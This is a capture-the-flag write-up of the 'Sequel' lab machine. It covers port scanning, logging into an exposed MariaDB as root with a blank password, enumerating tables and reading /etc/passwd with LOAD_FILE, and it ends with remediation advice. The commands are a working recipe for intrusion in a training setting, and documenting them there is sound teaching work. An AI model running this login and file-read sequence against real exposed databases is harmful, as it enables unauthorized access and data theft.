TL;DR

Sequel (the name is a wordplay on SQL) is a Tier 1 box with a single exposed service: MariaDB 10.3.27 on port 3306. The root database user has a blank password and accepts connections from any host (root@%). Connecting with mysql -h IP -u root lands you in a fully privileged session with ALL PRIVILEGES including FILE. The flag is a row in htb.config at name='flag'. Going further, LOAD_FILE('/etc/passwd') works (FILE privilege active, no secure_file_priv restriction), exposing system user accounts. SSH is firewalled off. The lesson: a database root account with no password and internet exposure is a complete data breach.

Recon

1. Liveness check

$ ping -c 2 10.129.36.240
64 bytes from 10.129.36.240: icmp_seq=0 ttl=63 time=33.610 ms
64 bytes from 10.129.36.240: icmp_seq=1 ttl=63 time=35.029 ms

TTL=63 → Linux. Host alive and reachable.

2. Full port sweep

$ nmap -sV -sC -p- --min-rate 1000 -T4 -Pn 10.129.36.240
PORT     STATE    SERVICE VERSION
3306/tcp open     mysql?
22/tcp   filtered ssh
  • 3306/tcp — MySQL/MariaDB, directly exposed
  • 22/tcp — SSH is filtered (firewall dropping packets)

Only one reachable service.

3. Banner grab — identify exact version

nc -v -w 30 10.129.36.240 3306

Initial bytes from the server:

5.5.5-10.3.27-MariaDB-0+deb10u1

MariaDB 10.3.27 on Debian 10 (Buster). The 5.5.5- prefix is a MariaDB compatibility marker that makes the server appear as MySQL 5.5.5 to older clients — a quirk worth knowing.

Foothold

Dead end #1 — mysql CLI compatibility issue on macOS

mysql -h 10.129.36.240 -u root -p

The Homebrew mysql client (version 9.6) generates frequent timeouts when connecting to MariaDB 10.3. Root cause: MySQL 8.0+ clients use caching_sha2_password by default; MariaDB 10.3 uses mysql_native_password. The handshake mismatch causes instability.

Fix: Use Python’s pymysql library which handles MariaDB compatibility cleanly:

import pymysql
conn = pymysql.connect(host='10.129.36.240', user='root', password='')
cursor = conn.cursor()

Dead end #2 — SSH with database credentials

After finding the root database credentials work, tried using them for SSH:

ssh root@10.129.36.240
# Port 22 is filtered — connection never reaches the server
ssh christine@10.129.36.240
# Same — firewall drops all packets to port 22

SSH port 22 is firewalled at the network level. Database access does not translate to SSH access.

Working approach — root login with blank password

import pymysql

conn = pymysql.connect(
    host='10.129.36.240',
    port=3306,
    user='root',
    password=''   # blank
)
cursor = conn.cursor()
cursor.execute("SELECT VERSION(), USER(), CURRENT_USER()")
print(cursor.fetchone())
# ('10.3.27-MariaDB-0+deb10u1', 'root@10.10.14.45', 'root@%')

root@% — root user accepting connections from any host (% wildcard), with no password. Maximum database privileges.

Privilege check

SHOW GRANTS FOR 'root'@'%';
-- GRANT ALL PRIVILEGES ON *.* TO `root`@`%` WITH GRANT OPTION

All privileges including FILE (read/write filesystem via LOAD_FILE and INTO OUTFILE).

Database enumeration

SHOW DATABASES;
-- information_schema
-- htb
-- mysql
-- performance_schema
SHOW TABLES IN htb;
-- config
-- users
SELECT * FROM htb.config;
idnamevalue
1timeout60s
2securitydefault
5flag[REDACTED]
7authentication_methodradius

The flag is in row 5 of htb.config.

FILE privilege exploitation

SELECT LOAD_FILE('/etc/passwd');

Returns the full /etc/passwd contents, revealing system users:

  • root/bin/bash
  • mysql/bin/false
  • htb (UID 1000) — /bin/bash

The htb user has a shell but SSH is firewalled. Write attempts to SSH key directories returned permission denied at the OS level (the MariaDB process runs as user mysql, not root).

Privilege Escalation

N/A — Starting Point Tier 1 box. The flag is a database table row, not a filesystem file. SSH access is firewalled. The mysql service account does not have write access to SSH authorized_keys files. UDF (User Defined Function) injection is blocked by the plugin directory being on a read-only filesystem mount.

What’s actually broken

  1. MariaDB root account with no password, accepting connections from any host (root@%). This is the textbook “never do this” configuration. Combined with internet exposure, it is a complete database compromise: read, write, delete any database, read filesystem files (FILE privilege), potentially write files if directory permissions allow.
  2. Database port 3306 directly reachable from the internet. MariaDB/MySQL should bind to 127.0.0.1 or an internal management IP, never 0.0.0.0 on a public-facing server.
  3. secure_file_priv not configured. Empty @@secure_file_priv = no restriction on LOAD_FILE and INTO OUTFILE. The database can read any file the mysql OS user can access.
  4. Flags (sensitive data) stored in a publicly exposed database. In production: customer PII, API keys, session tokens, authentication secrets.

Remediation (the boring half)

Set a root password and restrict host:

ALTER USER 'root'@'%' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
-- Delete the wildcard host entry and add a specific one
DELETE FROM mysql.user WHERE User='root' AND Host='%';
CREATE USER 'root'@'127.0.0.1' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' WITH GRANT OPTION;
FLUSH PRIVILEGES;

Bind MariaDB to localhost only in /etc/mysql/mariadb.conf.d/50-server.cnf:

bind-address = 127.0.0.1

Set secure_file_priv to restrict file operations:

secure_file_priv = /var/lib/mysql/import

Firewall:

ufw deny 3306
# If remote DBA access is needed:
ufw allow from 10.10.0.0/16 to any port 3306

Lessons learned

  • MariaDB is not MySQL, but looks like it. The 5.5.5- prefix in the banner is a MariaDB quirk for old client compatibility. Modern MySQL clients may have handshake issues with older MariaDB versions — pymysql is more compatible than the native mysql CLI in these cases.
  • Blank database password = full data access + potential filesystem read. Unlike blank OS passwords, a blank database root password immediately grants FILE privilege (LOAD_FILE/INTO OUTFILE) in addition to all data access.
  • SHOW GRANTS FOR CURRENT_USER() is the first thing to run after connecting. It tells you exactly what you can do: whether FILE is available, whether you can create users, and whether WITH GRANT OPTION is set.
  • Always check @@secure_file_priv after getting database access. Empty = no restriction = you can attempt to read any file the DB process can access.

References